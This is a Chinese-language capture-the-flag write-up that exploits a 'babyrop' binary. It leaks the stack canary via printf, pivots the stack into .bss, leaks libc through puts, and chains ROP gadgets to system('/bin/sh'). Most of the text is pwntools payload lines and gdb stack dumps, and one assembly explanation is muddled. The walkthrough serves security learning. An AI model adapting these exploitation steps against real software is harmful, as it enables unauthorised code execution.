ROP是一種技巧,我們對execve函數進行拼湊來進行system /bin/sh。棧遷移的特征是溢出0x10個字符,在本次getshell中,還碰到了如何利用printf函數來進行canary的泄露。
ROP+棧遷移
目標:

ROP chain

首先我們:
ROPgadget --binary babyrop
bss段地址:
readelf -S babyrop

找到rdi的地址:

我們用ida查看反匯編,圈中的是出錯情況下的處置,我們暫時可以忽略。
我們看到for循環可以輸入25個字符,我們先輸入0x18個字符,也就是24個字符,然后如果在輸入一個字符就可以看到printf函數后面跟著一個%s,且printf函數結束的標志是碰到x00,并且canary的的末尾標志也是x00。

小端存儲,我們首先用24個字符a對其他字符空間進行填充,然后用字符'y'把canary中的x00進行覆蓋,這樣我們就在y這個點時進行recv,之后就可以泄露canary的內容。
具體是這樣的:
canary=u64(io.recv(7).rjust(8,'x00'))
然后再用x00對其進行填充:
此題的第二個坑點是在password這里,可以看到這里使用scanf函數來進行接受,所以我們只能填寫地址。
可以看到這個地址存儲password:

我們進入vuln函數進行查看:

發現是可以多讀0x10個字符的,這就是典型的棧遷移了:
gdb.attach(io)
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
gdb.attach(io)
io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))
gdb.attach(io)
我們在這里下三個斷點:
第一個attach代表的是沒有遷移之前的,
可以看到RBP和RSP的情況,
可以看到現在的RBP已經變為0x601928。
這里插入一下POP的匯編形式:
mov esp,ebp
add $8,esp
首先我們把ebp的值給esp,然后ebp+8,因為這里是64位程序。
這里我們再看下一個attach:

可以看到新棧已經建立成功了。
然后就是經典的rop了,尋找libc基址:
io.send(p64(canary)+p64(0x601940)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
#p64(0x601940) is fill byte
libc_base=u64(io.recvuntil("x7f")[-6:].ljust(8,"x00"))-libc.sym['puts']
system=libc_base+libc.sym['system']
hh=libc_base+libc.search('/bin/sh').next()
最后我們開始寫利用新棧:
system bin/sh


可以看到我們就拿到shell了。
一點解釋
棧遷移需要注意的點就是:
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))
假如我們棧空間提升0x10:

我們需要先把buf的內容填充,然后就到了rsp,pop 指令的意思是把rsp地址的內容給rip。


可以看到此時棧的情況是這樣的:
0x40072e是ret的地址:
0x0000000000400744是返回地址:
0xcd95d1462e82fe00是canary的值
0x601950是填充字
0x400913是rdi的值,也就是exec函數的的第一個參數。
現在的??臻g是這樣的:

然后就開始rop
如果我們直接提升0x20的空間就不會有這種事情了,我們就可以直接rdi+rop:
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))
io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
但是這個rbp和rsp的空間是要試著找的,如果bss段有不能覆蓋的地址,就會報錯。

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))
io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))

這樣也能夠getshell。
另一點解釋
call read@plt之前棧中的情況:

我們s步入,可以發現rbp和rsp的值已經改變了:

0x601930: 0x0000000000400744 0x0000000000000000
0x601940: 0x0000000000000000 0x0000000000000000
0x601950: 0x0000000000000000 0x0000000000000000
0x0000000000400744是執行完read函數要去的地方,也就是nop(這個是無所謂的)

可以看到在pop 和ret之前rbp和rsp棧空間又發生了改變,而且此時rip指向了rdi的地址:

紅色框是棧空間的大小,可以看到此時存放的兩個地址的意義是:
p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))組成了rop。
下一步我們執行pop+ret就跳到了rdi所指在的地方,然后利用rop進行system /bin/sh。